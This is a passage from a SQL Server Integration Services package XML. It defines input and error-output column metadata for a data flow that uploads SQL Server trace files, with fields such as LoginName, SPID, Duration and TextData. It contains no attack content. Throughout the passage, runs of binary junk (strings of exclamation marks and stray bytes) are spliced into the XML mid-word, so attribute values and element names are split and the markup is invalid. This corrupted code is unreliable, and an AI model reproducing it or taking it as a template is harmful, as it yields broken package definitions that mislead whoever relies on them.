dataType="i4" name="Success"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[IndexID]" dataType="i4" name="IndexID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[IntegerData]" dataType="i4" name="IntegerData"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ServerName]" dataType="wstr" length="256" name="ServerName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[EventClass]" dataType="i4" name="EventClass"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ObjectType]" dataType="i4" name="ObjectType"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[NestLevel]" dataType="i4" name="NestLevel"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[State]" dataType="i4" name="State"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Error]" dataType="i4" name="Error"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Mode]" dataType="i4" name="Mode"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Handle]" dataType="i4" name="Handle"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ObjectName]" dataType="wstr" length="256" name="ObjectName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[DatabaseName]" dataType="wstr" length="256" name="DatabaseName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[FileName]" dataType="wstr" length="256" name="FileName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trac	!!!!!!!!!!!!!!!!!!!!!!!!`2
Hve file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[OwnerName]" dataType="wstr" length="256" name="OwnerName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[RoleName]" dataType="wstr" length="256" name="RoleName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TargetUserName]" dataType="wstr" length="256" name="TargetUserName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[DBUserName]" dataType="wstr" length="256" name="DBUserName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[LoginSid]" dataType="image" name="LoginSid"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TargetLoginName]" dataType="wstr" length="256" name="TargetLoginName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TargetLoginSid]" dataType="image" name="TargetLoginSid"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ColumnPermissions]" dataType="i4" name="ColumnPermissions"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[LinkedServerName]" dataType="wstr" length="256" name="LinkedServerName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ProviderName]" dataType="wstr" length="256" name="ProviderName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[MethodName]" dataType="wstr" length="256" name="MethodName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[RowCounts]" dataType="i8" name="RowCounts"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[RequestID]" dataType="i4" name="RequestID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[XactSequence]" dataType="i8" name="XactSequence"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[EventSequence]" dataType="i8" name="EventSequence"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[BigintData1]" dataType="i8" name="BigintData1"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trac	!!!!!!!!!!!!!!!!!!!!!!!!`2.uHve file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[BigintData2]" dataType="i8" name="BigintData2"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[GUID]" dataType="guid" name="GUID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[IntegerData2]" dataType="i4" name="IntegerData2"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ObjectID2]" dataType="i8" name="ObjectID2"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Type]" dataType="i4" name="Type"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[OwnerID]" dataType="i4" name="OwnerID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ParentName]" dataType="wstr" length="256" name="ParentName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[IsSystem]" dataType="i4" name="IsSystem"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Offset]" dataType="i4" name="Offset"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[SourceDatabaseID]" dataType="i4" name="SourceDatabaseID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[SqlHandle]" dataType="image" name="SqlHandle"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[SessionLoginName]" dataType="wstr" length="256" name="SessionLoginName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[PlanHandle]" dataType="image" name="PlanHandle"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[GroupID]" dataType="i4" name="GroupID"/></externalMetadataColumns></output><output refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output]" isErrorOut="true" name="OLE DB Source Error Output"><outputColumns><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TextData]" dataType="nText" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TextData]" name="TextData"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular tra	!!!!!!!!!!!!!!!!!!!!!!!!`2K'RHvce upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[BinaryData]" dataType="image" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[BinaryData]" name="BinaryData"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[DatabaseID]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[DatabaseID]" name="DatabaseID"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TransactionID]" dataType="i8" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TransactionID]" name="TransactionID"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[LineNumber]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[LineNumber]" name="LineNumber"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[NTUserName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[NTUserName]" name="NTUserName"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[NTDomainName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[NTDomainName]" name="NTDomainName"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[HostName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[HostName]" name="HostName"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ClientProcessID]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ClientProcessID]" name="ClientProcessID"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ApplicationName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ApplicationName]" name="ApplicationName"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[LoginName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file -	!!!!!!!!!!!!!!!!!!!!!!!!`22Hv regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[LoginName]" name="LoginName"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[SPID]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[SPID]" name="SPID"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Duration]" dataType="i8" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Duration]" name="Duration"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[StartTime]" dataType="dbTimeStamp" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[StartTime]" name="StartTime"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[EndTime]" dataType="dbTimeStamp" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[EndTime]" name="EndTime"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Reads]" dataType="i8" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Reads]" name="Reads"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Writes]" dataType="i8" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Writes]" name="Writes"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[CPU]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[CPU]" name="CPU"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Permissions]" dataType="i8" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Permissions]" name="Permissions"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Severity]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Severity]" name="Severity"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[EventSubClass]" dataType="i4" lineageId="Package\For 	!!!!!!!!!!!!!!!!!!!!!!!!`2x̭-HvLoop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[EventSubClass]" name="EventSubClass"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ObjectID]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ObjectID]" name="ObjectID"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Success]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Success]" name="Success"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[IndexID]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[IndexID]" name="IndexID"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[IntegerData]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[IntegerData]" name="IntegerData"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ServerName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ServerName]" name="ServerName"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[EventClass]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[EventClass]" name="EventClass"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ObjectType]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ObjectType]" name="ObjectType"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[NestLevel]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[NestLevel]" name="NestLevel"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[State]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[State]" name="State"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Ou	!!!!!!!!!!!!!!!!!!!!!!!!`2xKHvtputs[OLE DB Source Error Output].Columns[Error]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Error]" name="Error"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Mode]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Mode]" name="Mode"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Handle]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Handle]" name="Handle"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ObjectName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ObjectName]" name="ObjectName"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[DatabaseName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[DatabaseName]" name="DatabaseName"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[FileName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[FileName]" name="FileName"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[OwnerName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[OwnerName]" name="OwnerName"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[RoleName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[RoleName]" name="RoleName"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TargetUserName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TargetUserName]" name="TargetUserName"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[DBUserName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns	!!!!!!!!!!!!!!!!!!!!!!!!`2x	*Hv[DBUserName]" name="DBUserName"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[LoginSid]" dataType="image" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[LoginSid]" name="LoginSid"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TargetLoginName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TargetLoginName]" name="TargetLoginName"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TargetLoginSid]" dataType="image" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TargetLoginSid]" name="TargetLoginSid"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ColumnPermissions]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ColumnPermissions]" name="ColumnPermissions"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[LinkedServerName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[LinkedServerName]" name="LinkedServerName"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ProviderName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ProviderName]" name="ProviderName"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[MethodName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[MethodName]" name="MethodName"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[RowCounts]" dataType="i8" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[RowCounts]" name="RowCounts"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[RequestID]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[RequestID]" name="RequestID"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Output	!!!!!!!!!!!!!!!!!!!!!!!!`2x
yHvs[OLE DB Source Error Output].Columns[XactSequence]" dataType="i8" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[XactSequence]" name="XactSequence"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[EventSequence]" dataType="i8" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[EventSequence]" name="EventSequence"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[BigintData1]" dataType="i8" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[BigintData1]" name="BigintData1"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[BigintData2]" dataType="i8" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[BigintData2]" name="BigintData2"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[GUID]" dataType="guid" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[GUID]" name="GUID"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[IntegerData2]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[IntegerData2]" name="IntegerData2"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ObjectID2]" 